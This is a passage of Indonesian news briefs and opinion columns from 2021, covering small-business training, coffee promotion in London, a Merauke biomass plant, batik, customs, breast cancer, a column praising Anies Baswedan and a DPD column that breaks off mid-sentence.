Jakarta, FNN - Menteri BUMN Erick Thohir melalui Staf Khusus Menteri BUMN Arya Sinulingga mendorong pelatihan digital di Rumah BUMN dalam rangka peningkatan penjualan UMKM. "Dengan adanya pelatihan digital marketing untuk UMKM di Rumah BUMN dan mengaplikasikannya, mudah - mudahan UMKM bisa semakin berkembang," ujar Arya dalam keterangan tertulis yang diterima di Jakarta, Sabtu. Menurut dia, selama pandemi COVID-19 ini, banyak UMKM yg menurun penjualannya namun sangat terbantu dengan online. Staf Khusus Menteri BUMN Erick Thohir, Arya Sinulingga melakukan kunjungan ke Rumah BUMN Jakarta Pusat yang dikelola oleh BRI. Rumah BUMN Jakarta Pusat memiliki UMKM Mitra Binaan dengan beragam usaha, dari industri pengolahan makanan hingga kerajinan tangan. Rumah BUMN Jakarta Pusat sedang melakukan pelatihan digital untuk UMKM. Dalam kunjungannya tersebut, Stafsus Menteri BUMN berbincang-bincang dengan para peserta di Rumah BUMN Jakarta Pusat. Salah satu pelaku UMKM di Rumah BUMN Jakarta Pusat, Miral mengaku bisa meraup untung hingga 20 juta per bulan. "Awalnya di tahun 2010 modal saya hanya 500 ribu, kemudian saya tekuni dan lebarkan terus usaha saya ini menggunakan dana sendiri. Sampai akhirnya saya bergabung dengan BUMN menjadi Mitra Binaan BRI dan bisa mengikuti pameran di New York" kata Miral. Berbagai manfaat juga dirasakan oleh para peserta pelatihan. Wiwiek, salah satu pemilik UMKM yg memiliki usaha minuman jus menyatakan bahwa dirinya mendapatkan banyak sekali manfaat dari pelatihan Digital Marketing di Rumah BUMN. Dia pun mendorong Rumah BUMN Jakarta Pusat untuk terus melanjutkan program pelatihannya demi memajukan UMKM Indonesia untuk dampak yang lebih luas lagi. (mth)

Paviliun Indonesia Promosikan 3 Kopi Khas Nusantara di Inggris

Jakarta, FNN - Kedutaan Besar RI di London berpartisipasi pada ajang London Coffee Festival (LCF) 2021 dengan membuka Paviliun Indonesia untuk mempromosikan kopi khas Nusantara kepada masyarakat Inggris. Paviliun Indonesia itu menghadirkan 3 UMKM kopi dari daerah yang berbeda untuk memperkenalkan produk kopi buatan mereka, menurut keterangan tertulis KBRI London yang diterima di Jakarta, Sabtu. Mereka adalah Java Frinsa Estate dari Jawa Barat yang menyuguhkan kopi Frinsa Honey Sacharic, Radjea Coffee dari Jambi dengan kopi Kerinci Arabica, dan KAA Sapan Berjaya dari Toraja dengan kopi Sapan-Toraja Arabica. "Hadirnya Paviliun Indonesia di London Coffee Festival diharapkan dapat semakin memperkenalkan keragaman kopi Indonesia kepada masyarakat Eropa terutama Inggris, serta dalam jangka panjang mendorong ekspor kopi Indonesia ke Inggris," kata Duta Besar RI untuk Inggris dan Irlandia, Desra Percaya. Upaya promosi itu memanfaatkan momentum pembukaan kembali berbagai sektor industri serta berbagai pertemuan dan konferensi di Inggris setelah menjalani penguncian COVID-19. KBRI London mengusung jargon "London is open again, Indonesian coffee is back" dalam festival yang digelar pada 23-26 September 2021 di kawasan Brick Lane, London itu. Kopi khas Nusantara yang dihadirkan di Paviliun Indonesia itu memiliki citarasa yang berbeda-beda. Frinsa Honey Sacharic memiliki rasa manis dan beraroma bunga, Kerinci Arabica memiliki sensasi rempah dan buah, sedangkan Sapan Toraja Arabica beraroma herbal dengan rasa seperti coklat. LCF merupakan ajang pameran kopi terbesar di Eropa yang tahun ini diikuti oleh sekitar 250 peserta pameran dan dihadiri 20.000 pengunjung dari beragam kalangan, seperti importir, grosir, para pemilik kafe dan pecinta kopi. Sedikitnya 1.000 pengunjung mendatangi Paviliun Indonesia selama empat hari pameran. Dubes Desra mengatakan bahwa promosi kopi Indonesia perlu terus didorong di tengah pesatnya perkembangan industri kopi dunia. Dia menilai LCF sebagai momentum yang tepat untuk mempromosikan kopi Indonesia karena publik Inggris telah lama menanti perhelatan itu setelah nyaris dua tahun menjalani penguncian. KBRI London menyatakan akan terus menindaklanjuti minat dari para pembeli potensial yang datang ke Paviliun Indonesia. (mth)

PON Papua - Terangi Bumi Cendrawasih dengan Energi Hijau

Jakarta, FNN - Siapa sangka wilayah paling timur Indonesia menyimpan potensi energi hijau teramat besar yang dapat dimanfaatkan masyarakat setempat untuk mencapai kemandirian energi. Di saat dunia internasional berlomba-lomba mengejar target penurunan emisi karbon demi membuat bumi tetap sejuk, Indonesia pun menyatakan komitmennya untuk menggarap energi hijau dengan meningkatkan kapasitas listrik berbasis energi baru terbarukan (EBT). Kabupaten Merauke, Papua dapat menjadi contoh kecil di mana masyarakatnya ternyata telah menikmati terang lampu yang berasal dari energi hijau dan bersih. Sekitar 15 persen listrik di calon ibukota provinsi pemekaran Papua Selatan tersebut ternyata telah menggunakan energi baru terbarukan yang berasal dari pembangkit listrik tenaga biomassa milik PT Medco Energi. Pewarta ANTARA diundang mengunjungi PLTBm Merauke ketika pembangkit yang dikelola oleh PT Merauke Narada Energi itu berkomitmen mendukung pelaksanaan Pekan Olahraga Nasional XX Papua klaster Merauke dengan pasokan energi baru terbarukan. "Kami berkomitmen akan mendukung kegiatan PON ini 100 persen dengan menjaga keandalan pembangkit kami agar listrik tetap terjaga," kata General Manager PT Merauke Narada Energi R.A. Satryo M.R kepada ANTARA saat ditemui di Merauke. PLTBm Merauke telah beroperasi sejak 2020 dan berlokasi di Wapeko, sekitar dua jam perjalanan dari Merauke. Keberadaan pembangkit dengan nilai investasi sebesar Rp140 miliar yang berasal dari dana pinjaman SMI dan PBDLH itu terlihat dari tower dan cerobong yang menjulang tinggi di balik pepohonan hutan industri dalam perjalanan menuju lokasi. Tiba di lokasi pembangkit, gelondongan kayu-kayu akasia dan eucalyptus sebagai bahan bakar utama PLTBm memenuhi log yard, bukan pemandangan familiar untuk suatu fasilitas penghasil listrik. Kemudian Satryo menjelaskan secara singkat alur produksi listrik di PLTBm yang telah memasok listrik ke kurang lebih 9.688 pelanggan di Merauke itu. Kayu yang dipanen dari Hutan Tanaman Industri milik Medco Papua Group itu harus dicacah terlebih dahulu menjadi woodchip sebelum masuk ruang bakar. Kurang lebih sekitar 120-140 ton woodchip dibutuhkan perhari sebagai bahan bakar pembangkit berkapasitas 3,5MW itu. Operator PLTBm juga sedang memanfaatkan limbah pertanian seperti sekam sebagai 26 persen campuran bahan bakar pembangkit. Woodchip dan sekam yang ditampung di shelter diangkut conveyor belt menuju ke boiler, kemudian ke silo, sebelum masuk ruang bakar. Lalu ruang bakar menghasilkan asap yang dikirim ke turbin dan generator untuk menghasilkan listrik yang akan disalurkan ke pelanggan lewat gardu PLN. Satryo mengungkapkan keberadaan PLTBm Wapeko, yang menggunakan kayu dari hutan industri sebagai sumber daya biomassa utamanya, dapat membantu mengurangi konsumsi BBM solar sebesar 27 juta liter per lima tahun serta mengurangi emisi karbon mencapai 76.300 ton dalam periode yang sama. Sementara konsesi area seluas 230.000 hektar yang dipegang Medco saat ini berpotensi untuk mengembangkan PLTBm sebesar 150-200 MW. Dan berbicara soal emisi PLTBm itu sendiri, Satryo mengatakan asap hasil pembakaran yang keluar dari cerobong telah dimurnikan dari partikel-partikel berbahaya menggunakan teknologi Cyclone. "Cyclone berfungsi menyerap zat-zat berbahaya, jadi yang keluar sudah berupa asap," kata Satryo. Sementara abu hasil pembakaran yang ditangkap dan ditampung ke tempat penampungan dapat digunakan sebagai pupuk, berfungsi kurang lebih serupa dengan media tanam sekam yang dibakar, yang digunakan kembali di nursery pembibitan di lahan konsesi hutan. Pun terpaksa dibuang, limbah tersebut bisa terurai karena bersifat organik. "Tentunya harapan kami dengan adanya energi bersih di PLTBm ini dapat menjadi contoh daerah-daerah lainnya," ujar Satryo. "Dalam menghasilkan listrik di Merauke ini, paling tidak kami sudah mereduksi ketergantungan kita terhadap bahan bakar solar, kemudian juga bahan bakar biomassa yang berasal dari sumber daya alam di sini sehingga kemandirian energi bisa kita laksanakan," tambahnya. Medco berencana untuk meningkatkan kapasitas PLTBm dengan penambahan pembangkit baru berkapasitas 10 MW, dan hal itu memungkinkan 50 persen pasokan listrik yang ada di Merauke berasal dari energi bersih dan hijau. Akan tetapi, masalah utama dalam menjalankan PLTBm adalah sisi keberlanjutannya. Satryo mengatakan tak sedikit PLTBm terkendala dengan pasokan sumber utama bahan bakar mereka. Oleh karena itu untuk mendukung aspek keberlanjutan, saat ini terdapat 3.000 hektar lahan yang telah dikembangkan bersama 300 masyarakat sekitar dengan menanam, merawat, serta menjaga tanaman eucalyptus dan acacia sebagai sumber penggerak PLTBm Merauke. Sementara itu Direktur Jenderal Energi Baru Terbarukan Dan Konservasi Energi, Kementerian Energi Dan Sumber Daya Mineral (ESDM) Dadan Kusdiana lewat pernyataan resmi mengatakan pemerintah berencana meningkatkan kapasitas pembangkit listrik ramah lingkungan berbasis biomassa di Kabupaten Merauke, Papua. Peningkatan kapasitas listrik berbasis Energi Baru Terbarukan (EBT) tersebut akan dituangkan dalam Rencana Usaha Penyediaan Tenaga Listrik (RUPTL) tahun 2021-2030. Dadan melihat PLTBm yang dikembangkan PT Medco memanfaatkan sumber daya setempat sudah tepat untuk Papua dan seharusnya dapat dikembangkan di wilayah lain yang memiliki kondisi serupa dengan Papua serta melihat potensi yang ada di wilayah untuk meningkatkan kapasitas pembangkit tersebut. "Terkait dengan yang tadi disampaikan masih ada potensi 50 MW, kami sudah coba untuk berikutnya ditingkatkan menjadi 10 MW itu sudah kami alokasikan, kita akan melihat nanti Merauke bisa 50% listriknya berbasis EBT," jelas Dadan. (mth)

Pemkot Dorong Perajin Batik Kota Madiun Tembus Pasar Internasional

Madiun, FNN - Pemerintah Kota (Pemkot) Madiun, Jawa Timur mendorong para perajin batik yang ada di wilayahnya untuk eksis dan mengembangkan pemasarannya di tingkat nasional bahkan hingga tembus pasar internasional. Wali Kota Madiun Maidi sangat mengapresiasi kreativitas warganya para perajin batik. Hal itu dibuktikan dengan banyaknya motif batik khas Kota Madiun yang diciptakan oleh para perajin. Semuanya otentik, unik, dan bagus. "Yang pasti saya bangga, perajin batik di Kota Madiun terus berkarya dengan motif-motif khasnya. Salah satu yang khas ada motif bunga dan pecelan," ujar Wali Kota Maidi di Madiun, Sabtu. Guna mendukung promosi dan pemasaran batik khas Kota Madiun, Pemkot Madiun telah mendirikan galeri. "Masyarakat dan pemerintah saling melengkapi. Apa yang sudah dikreasikan masyarakat coba kami wadahi dengan mendirikan galeri untuk mereka," kata Maidi. Selain mewadahi produk-produk batik khas di galeri, Pemkot Madiun juga mendukung pemasaran secara daring para perajin dengan menyediakan spot-spot internet gratis. Supaya dapat mereka gunakan dalam mendongkrak penjualan di pasar dunia maya. "Tantangan pandemi, semua dibatasi. Maka daring kami kuatkan, di mana-mana ada jaringan wifi," kata dia. Hari Batik Nasional yang diperingati setiap 2 Oktober diharapkan menjadi momentum bagi para perajin untuk lebih aktif dalam berkarya. Orang nomor satu di Kota Madiun itu meminta para perajin dan pelaku ekonomi kreatif untuk terus semangat dan meningkatkan kualitas produknya. Ketua TP PKK Kota Madiun Yuni Setyawati Maidi berharap batik khas Kota Madiun semakin dikenal luas. Setiap kelurahan kini telah memiliki ciri khasnya masing-masing. Yuni mempunyai cita-cita untuk menggelar peragaan busana menampilkan produk batik lokal, kelak ketika pandemi COVID-19 sudah mereda. "Untuk menunjukan batik kelurahan siap "go international" kami ingin kelak mengadakan peragaan busana. Kami juga terus mendorong kreativitas dan inovasi ibu-ibu perajin dalam membuat bermacam motif khas dengan berbagai pelatihan," terang Yuni. Sesuai data, kini tercatat ada 32 perajin batik aktif di Kota Madiun. Mereka tersebar di seluruh kelurahan. (mth)

Kemnaker Terus Lakukan Reformasi Birokrasi Bidang SDM Aparatur

Jakarta, FNN - Kementerian Ketenagakerjaan (Kemnaker) terus melakukan pembenahan dan penataan lewat tata kelola reformasi birokrasi bidang Sumber Daya Manusia (SDM) aparatur salah satunya dengan menggelar acara Penyusunan Analisa Jabatan (Anjab) dan Analisa Beban Kerja (ABK). "Tujuan diselenggarakannya penyusunan Analisa Jabatan dan Analisa Beban Kerja ini adalah untuk mendalami dan meningkatkan pemahaman tentang analisis jabatan, analisis beban kerja dan pedoman perhitungan jumlah kebutuhan PNS, serta pedoman evaluasi jabatan," Sekjen Kemnaker Anwar Sanusi menurut pernyataan resmi yang diterima di Jakarta pada Sabtu. Anwar menjelaskan dalam pengarahan tersebut bahwa Anjab adalah proses untuk mengetahui jumlah kebutuhan pegawai serta jenis jabatan dari PNS dan PPPK ke depannya. Acara yang digelar di lingkungan Kemnaker di Jakarta pada Jumat itu bertujuan agar peserta mampu melakukan tugas sebagai analis jabatan guna menyusun uraian jabatan maupun melakukan analisis beban kerja untuk menghitung jumlah kebutuhan PNS secara riil dan proporsional. Dalam implementasi pelaksanaan, penyusunan Anjab dan ABK dibuat berbasis aplikasi yang memudahkan ASN dalam memasukkan data sehingga keuntungan yang diperoleh yaitu memudahkan melihat kebutuhan pegawai, proses integritas dan peta jabatan lebih praktis. "Nantinya hasil dari Analisis Jabatan dan Analisis Beban Kerja, ini berupa uraian jabatan sangat memegang peranan penting dan mendasar serta merupakan titik awal dalam perencanaan berupa jumlah, kualitas dalam rekrutmen dan penempatan, serta penentuan besaran organisasi, dan dalam pengembangan SDM Aparatur berupa kinerja, peningkatan kompetensi serta penghasilannya," jelas Anwar. Dalam kesempatan itu dia menyampaikan apresiasi kepada unit kerja yang telah menetapkan hasil analisis jabatan dan analisis beban kerja di lingkungan Kemnaker. Dia juga mengharapkan peserta dapat memahami secara baik serta mampu melakukan analisa dan evaluasi kembali jabatan yang telah disusun di lingkungan unit kerja masing-masing. (mth)

Hari Jadi ke-75 Bea Cukai, Menkeu Sri Mulyani Beri Apresiasi

Bea - Menteri Keuangan Sri Mulyani mengapresiasi peran dan tugas penting Bea Cukai saat peringatan hari jadi ke-75 Bea Cukai, karena sudah bekerja di garis depan untuk melakukan pelayanan, menjaga perekonomian, dan melindungi masyarakat serta industri selama pandemi. “Bea cukai sebagai salah satu institusi di garda depan terus memperlancar arus barang, terutama barang di bidang kesehatan yang dibutuhkan menghadapi COVID-19. Impor alat kesehatan, vaksin, oksigen dan obat-obatan semuanya difasilitasi dengan cermat dan baik oleh jajaran Bea Cukai,” ujar Sri Mulyani dalam keterangan resminya di Jakarta, Sabtu. Ia juga menghargai langkah-langkah seluruh kantor wilayah dan kantor pelayanan Bea Cukai yang terus ikut mendukung proses pemulihan ekonomi dengan membangun dan mendorong ekspor dari seluruh komoditas yang ada di Indonesia pada saat pemulihan ekonomi dunia terjadi. Momentum pemulihan ekonomi secara global sedang terjadi dan oleh karena itu permintaan terhadap barang-barang yang diproduksi Indonesia juga akan mengalami kenaikan, yang terlihat dari pertumbuhan ekspor mencapai di atas 50 persen, yang menyebabkan neraca perdagangan Indonesia mengalami surplus terbesar dalam sejarah. Selain itu, Menkeu mengapresiasi Bea Cukai yang terus mengamankan penerimaan negara terkait maraknya isu terkait cukai ilegal, hingga memberikan berbagai pembinaan bagi industri dan pelaku ekonomi untuk tujuan-tujuan ekspor, baik kawasan berikat, kemudahan impor tujuan ekspor (KITE), maupun perusahaan yang belum berada di kawasan tersebut. Patroli laut dan patroli Bea Cukai lainnya untuk pengawasan barang-barang ilegal, baik itu rokok ilegal, narkoba, dan berbagai bahan-bahan yang membahayakan masyarakat, merupakan salah satu prestasi dan sekaligus tantangan bagi jajaran Bea Cukai. “Saya melihat tindakan-tindakan untuk pengawasan dan juga untuk melakukan penegakan hukum dilakukan oleh aparat Bea Cukai dari tahun ke tahun yang terus meningkat.” ucap Sri Mulyani. Di sisi lain, dirinya berpendapat Bea Cukai terus menjaga kontribusinya terhadap penerimaan negara hingga 31 Agustus 2021, sebesar 73,5 persen target APBN telah tercapai dan didorong oleh pertumbuhan kepabeanan 11,8 persen, bea keluar melonjak 890 persen dan cukai tumbuh 17,7 persen. Dengan demikian, Bendahara Negara berharap target pendapatan negara bisa dicapai tahun ini seiring dengan pemulihan ekonomi, meskipun dengan pertumbuhan yang memang cukup ambisius. “Seluruh jajaran harus terus cermat melihat bagaimana ekonomi dapat tumbuh dan pulih, memanfaatkan momentum pemulihan global, mengaitkan dan menjahit kegiatan produksi dalam nilai rantai global, serta menciptakan nilai tambah agar kita mendapatkan tidak hanya dari ekonomi, namun masyarakat mendapatkan manfaat nyata dalam bentuk kesempatan kerja dan kemakmuran,” tambahnya. Oleh karenanya, ia meminta Bea Cukai bisa melakukan reformasi dan terus memperbaiki diri di bidang penguatan integritas dan kelembagaan, memperbaiki pelayanan dan pemeriksaan, mencegah dan melakukan penindakan yang efektif, serta menjaga penerimaan negara dan mendukung perekonomian secara optimal. (mth)

Yayasan TBN - Swara Gembira Kolaborasi Gelar Kegiatan di Hari Batik

Jakarta, FNN - Yayasan Tjanting Batik Nusantara (TBN) bersama organisasi seni Swara Gembira berkolaborasi dalam rangkaian kegiatan Hari Batik yang rencananya dilakukan sampai dengan akhir Oktober, kata Ketua Yayasan TBN Sandra Hutabarat dalam konferensi pers virtual di Jakarta pada Sabtu. "Tahun ini kita berkolaborasi dengan Swara Gembira jadi memang kita akan banyak melakukan kegiatan, tidak hanya terfokus pada Hari Batik Nasional tanggal 2 Oktober 2021 tapi juga akan melebarkan kegiatan kita sampai akhir Oktober," jelas Sandra dalam konferensi pers yang dipantau virtual itu. Kegiatan yang akan dilakukan termasuk adu gaya untuk anak muda berekspresi dengan kain batik dan diharapkan memiliki dampak yang besar meningkatkan ketertarikan generasi muda akan batik dan kain nusantara. "Ini benar-benar kegiatan yang menyasar anak muda," tambahnya. Beberapa rangkaian kegiatan Hari Batik 2021 yang akan diadakan Yayasan TBN bersama Swara Gembira mayoritas akan diadakan secara daring dengan beberapa acara yang diadakan secara luring. Terdapat beberapa rubrik dalam rangkaian kegiatan tersebut seperti adu gaya yaitu kompetisi mengenakan kain batik dengan ragam padu padan, program berkain gembira yang menantang influenser generasi muda untuk memakai kain seharian penuh dan dirangkum via vlog. Selain itu akan diadakan juga pasar wastra yaitu ajang jual beli kain yang dikurasi Yayasan TBN dan organisasi seni itu yang diadakan secara luring dan daring sekaligus. Ketua Swara Gembira Rifan Rahmani mengatakan terdapat ketertarikan generasi muda akan batik dan dapat meningkat dengan sosialisasi pengetahuan bahwa wastra atau kain Indonesia dapat sejajar dengan fashion yang tren. Hal itu bisa dilakukan dengan menambahkan faktor penarik generasi muda yang dimulai dengan menarik perhatian mereka. "Pertama kita hook dulu ketertarikannya, supaya mereka sudah punya rasa ingin tahu untuk mencari sendiri," ujarnya. (mth)

Anies Baswedan dan Pemimpin Otentik

Oleh: Abdurrahman Syebubakar MASALAH utama yang mendera bangsa Indonesia tidak terletak pada tataran teknis-teknokratis tatakelola negara. Tetapi, lebih soal kelembagaan politik ekstraktif yang bersekongkol dengan pony capitalism (kapitalisme palsu), meminjam istilah Joseph Stiglitz (2015). Hasil persilangannya menjadi lahan subur oligarki - pola persekongkolan jahat antara penguasa dan pemodal, untuk menguasai sumberdaya negara. Seperti yang diungkap Jeffrey Winters, seorang Indonesianis dan teoritikus oligarki ternama asal Amerika Serikat, para oligark lah yang paling berkuasa di Indonesia karena memiliki uang yang lentur dan serbaguna. Modal finansial yang mereka miliki dapat dimanisfestasikan ke dalam bentuk-bentuk kekuasaan lainnya, seperti jual beli jabatan dan produk hukum-politik. Para oligark ini sangat ekstraktif, menguasai dan membiayai partai politik, media massa, perguruan tinggi, think-tank, ormas, lembaga keagamaan, dan lain lain. Monopoli penguasaan sumberdaya ekonomi dan politik berakibat pada meningkatnya ketimpangan dan kemiskinan multidimensi (sosial, ekonomi dan politik). Ketiga dimensi ketimpangan dan kemiskinan ini saling mempengaruhi secara negatif, seperti lingkaran setan. Alhasil, dari waktu ke waktu, yang terjadi bukan berkurangnya tingkat kemiskinan dan ketimpangan, tetapi pemiskinan dan peminggiran rakyat kecil. Ratusan juta penduduk miskin dan tidak mampu makin menderita dengan kondisi ketimpangan yang sangat akut, di mana segelintir orang super kaya menguasai kekayaan negara hampir secara mutlak. Rakyat kecil makin tidak berdaya di hadapan para pengambil kebijakan dan pemodal, dan makin tersisih dari proses politik. Untuk mengatasi berbagai tantangan tersebut, dibutuhkan pemimpin otentik, yang tidak saja kompeten pada tataran teknis operasional. Tetapi yang jauh lebih penting, memiliki visi alternatif, dan mampu menerjemahkan visi tersebut ke dalam pilihan kebijakan yang tepat. Selain itu, tipe pemimpin otentik berbekal tekad dan keberanian politik yang kuat untuk membongkar sistem ekstraktif yang tidak berkeadilan, dan melawan anasir-anasir jahat di balik sistem tersebut. Serta mampu memandu rakyat meninggalkan sistem politik ektsraktif menuju demokrasi substantif dan bersenyawa dengan paradigma pembangunan manusia, yang menempatkan rakyat sebagai agen pembangunan. Lantas, pertanyaannya, siapa sosok yang memenuhi semua atribut pemimpin otentik, atau setidaknya, paling dekat dengan tipe pemimpin ideal tersebut? Tanpa menegasikan keterbatasannya, dan dalam konteks perbandingan diantara sejumlah “aspiran capres” yang ada saat ini, jawabannya adalah Anies Baswedan. Jejak intelektual dan kepemimpinan Anies dapat ditelusuri jauh ke belakang, sejak remaja. Saat di SMA, pada 1985, Anies terpilih sebagai Ketua OSIS se-Indonesia. Di perguruan tinggi, ia menjadi Ketua Umum Senat UGM pada 1992, dengan sejumlah gebrakan, diantaranya menginisiasi gerakan mahasiswa berbasis riset. Ketika berusia 38 tahun, pada 15 Mei 2007, Anies yang baru merampungkan studi doktoralnya di Northern Illinois University AS dilantik menjadi rektor Universitas Paramadina, dimana ia menginisiasi Gerakan Indonesia Mengajar yang melibatkan anak-anak muda untuk mengajar di pelosok daerah. Anies tercatat sebagai rektor termuda se-Indonesia kala itu. Pada 2008, Anies masuk dalam 100 Intelektual Publik Dunia versi Majalah Foreign Policy. Ia disejajarkan dengan intelektual dunia paling berpengaruh abad ini, Noam Chomsky dan para penerima hadiah nobel seperti Al Gore, Muhammad Yunus, dan Amartya Sen. Nama Anies juga hadir dalam daftar Young Global Leaders pada Februari 2009 yang dianugerahkan oleh World Economic Forum. Setahun kemudian, pada April 2010, Majalah Foresight yang terbit di Jepang memasukkan Anies sebagai salah satu dari 20 tokoh pembawa perubahan dunia untuk 20 tahun ke depan, bersama sejumlah pemimpin dunia termasuk Vladimir Putin (Perdana Menteri Rusia), Hugo Chavez (Mantan Presiden Venezuela), dan David Miliband (Menteri Luar Negeri Inggris). Di tahun yang sama, Anies menyabet sejumlah penghargaan bergengsi, diantaranya, dari The Association of Social and Economic Solidarity with Pacific Countries (PASIAD) pemerintah Turki atas prakarsanya melahirkan Gerakan Indonesia Mengajar, Penghargaan Yasuhiro Nakasone dari Mantan Perdana Menteri Jepang Yasuhiro Nakasone yang diberikan kepada tokoh-tokoh visioner yang memiliki daya dobrak untuk abad 21, dan penghargaan dari The Royal Islamic Strategic Studies Center Jordania, sebagai 500 tokoh Muslim paling berpengaruh di dunia. Masih panjang daftar penghargaan dan beasiswa yang diterima Anies, baik dari dalam maupun luar negeri, serta posisi prestisius yang diembannya sebelum menjabat Mendikbud pada pemerintahan Jokowi-JK. Kendati berhasil melahirkan berbagai terobosan untuk memajukan dunia pendidikan, Anies diberhentikan oleh Presiden Jokowi karena alasan politis. Namun perjalanan kepemimpinan politik Anies tidak berhenti. Pada 2017, ia terpilih menjadi Gubernur DKI Jakarta setelah menang secara dramatis, melawan cagub petahana Ahok, yang didukung episenterum kekuasaan dan para taipan. Sejak memimpin Ibukota, Anies mampu mendemonstrasikan model kepemimpinan berbasis ilmu pengetahuan (knowledge-based leadership) bercorak transformatif dan demokratis, di atas fondasi karakter intelektual, karakter moral dan karakter kinerja. Tanpa mengesampingkan adanya persoalan klasik Ibukota, seperti banjir dan polusi udara, di bawah kepemimpinan Anies, dengan berbagai terobosan kebijakan dan strategi pembangunan, kondisi Jakarta jauh lebih baik, dibandingkan era sebelumnya. Secara fisik, Jakarta berubah drastis, makin tertata dan indah. Sarana publik seperti jalan raya dengan Jembatan Penyeberangan Orang (JPO), halte, dan trotoar, dibuat semenarik dan senyaman mungkin bagi seluruh lapisan masyarakat, termasuk kelompok lansia, dan penyandang disabilitas. Taman kota dan tempat bermain anak bertaburan di berbagai penjuru ibukota. Selain itu, dengan spirit kolaborasi dan menghadirkan kesetaraan serta kebersamaan, transportasi umum di Ibukota makin terintegrasi, baik secara fisik, maupun sistem pembayaran. Stasiun kereta api telah terhubung dengan sejumlah moda transportasi publik termasuk MRT, Transjakarta, Jaklingko, bajaj, ojek pangkalan dan ojek online.Sehingga, masyarakat memilih menggunakan transportasi umum secara rasional karena terjangkau baik rute, biaya, maupun waktu tempuh. Sebagai wujud kepedulian terhadap lingkungan, pemprov DKI Jakarta menyediakan Jalur Speda yang hingga kini, mencapai sekitar 96 km, dan akan terus ditambah hingga lebih dari 170 km pada akhir 2021. Kombinasi sarana publik yang aman dan nyaman dengan transportasi umum yang terintegrasi dan ramah lingkungan berkontribusi terhadap berkurangnya tingkat kemacetan di Jakarta. Berdasarkan Indeks Lalu Lintas yang dirilis TomTom, pada tahun 2017, Jakarta menempati peringkat ke-4 sebagai kota termacet di dunia, kemudian turun ke posisi 7 (2018), posisi 10 (2019), dan posisi 31 (2020). Yang sangat penting, seperti terungkap dalam data BPS (2021), kualitas demokrasi Jakarta meningkat tajam selama 4 tahun terakhir, dengan indeks demokrasi yang sangat tinggi mencapai skor 89,21, jauh melampaui indeks demokrasi nasional sebesar 73,66. Indeks pembangunan manusia (sebagai gabungan indikator ekonomi, pendidikan dan kesehatan) juga tumbuh positif, mencapai 80,77 pada 2020, yang sekaligus menjadikan DKI Jakarta sebagai satu-satunya provinsi dengan status capaian pembangunan manusia yang sangat tinggi (IPM ≥ 80). Pada saat yang sama, tingkat kemiskinan di Jakarta terus berkurang sebelum COVID-19. Proporsi penduduk miskin di Jakarta pada September 2019 hanya 3.4 persen, turun dari 3.8 persen pada 2017. Lebih jauh, tekad dan keberanian politik Anies melawan super taipan, dengan menghentikan proyek reklamasi 17 pulau di Teluk Jakarta yang bernilai 500 triliun, patut diacungi jempol. Sebab, para super taipan ini merupakan agen sentral oligarki, yang mengatur jalannya pusat kekuasaan ekonomi politik dan menjadi induk berbagai masalah struktural yang dihadapi bangsa Indonesia. Dengan berbagai capaian kuantitatif dan kualitatif tersebut, Anies tidak saja melampaui janji-janji politiknya, tetapi juga menunjukkan kualitas kepemimpinan otentik, yang menjadi kebutuhan mendesak bagi bangsa Indonesia. Dan karena kinerja gemilang serta reputasi intelektualitas dan integritasnya, Anies bertabur penghargaan bergengsi dari dalam dan luar negeri selama memimpin Ibukota. *) Ketua Dewan Pengurus IDe

Wakil Ketua MPR Dorong Pasien Kanker Payudara, Dengarkan Nasihat Dokter

Jakarta, FNN - Wakil Ketua MPR Republik Indonesia, Lestari Moerdijat mengimbau para pasien dengan kanker payudara mendengarkan nasehat dari dokter yang merawat demi mendapatkan pengobatan yang tepat. "Dengarkan nasehat para dokter, menjadi panduan kita untuk melangkah dan mempercayai tindakan medis yang memang sudah memiliki basis atau bukti," ujar dia dalam diskusi virtual mengenai kanker payudara bertajuk "Bersama Melangkah, Meraih Harapan", Sabtu. Menurut dia, pengobatan tepat ditambah terdeteksinya kanker pada stadium dini menunjukkan keberhasilan dan berdampak pada angka harapan hidup yang lebih tinggi ketimbang bila pasien baru datang dalam kondisi lanjut. Lestari yang menjadi penyintas kanker payudara selama hampir lima tahun itu mengatakan, para pasien dan orang-orang terdekatnya perlu memahami tahap pengobatan kanker berdasarkan saran dokter, agar tak ada keraguan selama menjalani perawatan. Merujuk pada pengalamannya, terkadang orang dekat bisa menjadi salah satu faktor yang membuat pasien ragu mengambil pengobatan. "Pengalaman saya terdiagnosis kanker payudara, saya putuskan langsung menjalani rangkaian pengobatan. Keluarga, sahabat, semuanya berusaha mencarikan jalan agar saya mencari berbagai alternatif sebelum menjalani pengobatan yang sifatnya medikal," kata Lestari. Kanker payudara menjadi salah satu jenis kanker yang umum dialami wanita. Data dari Organisasi Kesehatan Dunia (WHO) mencatat, kanker ini dialami lebih dari 2,3 juta orang wanita di seluruh dunia dengan angka kematian lebih dari 680.000 orang jiwa. Keterlibatan berbagai pihak termasuk melalui kampanye pemeriksaan kesehatan rutin seperti deteksi dini, lalu kemampuan melakukan diagnosa hingga pengobatan menjadi upaya untuk membantu meningkatkan angka harapan hidup pasien. Seperti dikutip dari Pusat Pengendalian dan Pencegahan Penyakit Amerika Serikat (CDC), ada banyak faktor yang dapat mempengaruhi risiko seseorang terkena kanker payudara, antara lain bertambahnya usia atau riwayat keluarga. Walau begitu, seseorang masih bisa berupaya menurunkan risiko terkena kanker misalnya melalui penerapan gaya hidup sehat termasuk aktif bergerak dan menjaga berat badan sehat. (mth)

Penguatan DPD Mendorong Amandemen Komprehensif

Sebagai anak kandung reformasi, DPD lahir dari komitmen kita membangun demokrasi yang lebih baik, meninggalkan sentralisme pembangunan menuju desentralisme. Sebagai kanal aspirasi daerah, DPD diharapkan berperan optimal memperjuangkan kepentingan daerah. Oleh: Tamsil Linrung TANGGAL 1 Oktober 2021, tepat 17 tahun usia Dewan Perwakilan Daerah (DPD). Sejuta ungkapan filosofis biasanya diurai menyambut usia ini. Tapi, kita tak butuh itu. Yang lebih urgen dilakukan adalah bagaimana merefleksi sejarah perjalanan DPD demi pembenahan fundamental. Kita tak akan pernah berubah menjadi lebih baik bila tidak menyadari jatidiri sendiri. Sepanjang hayatnya, DPD seperti ada dan tiada. DPD ada karena eksistensi lembaganya. DPD tiada karena lembaga legislatif ini justru tidak terkoneksi pada ranah pengambilan keputusan legislasi nasional. Ini tragis, lebih dari sekadar menyedihkan. Bagaimana mungkin sebuah lembaga tinggi negara tidak memiliki otoritas terhadap fungsi dasarnya? DPD mengembang amanah demokrasi. Lembaga ini adalah simbol kekuatan otonomi daerah, kekuatan demokratisasi kita. Di sanalah desentralisasi mekar. Di 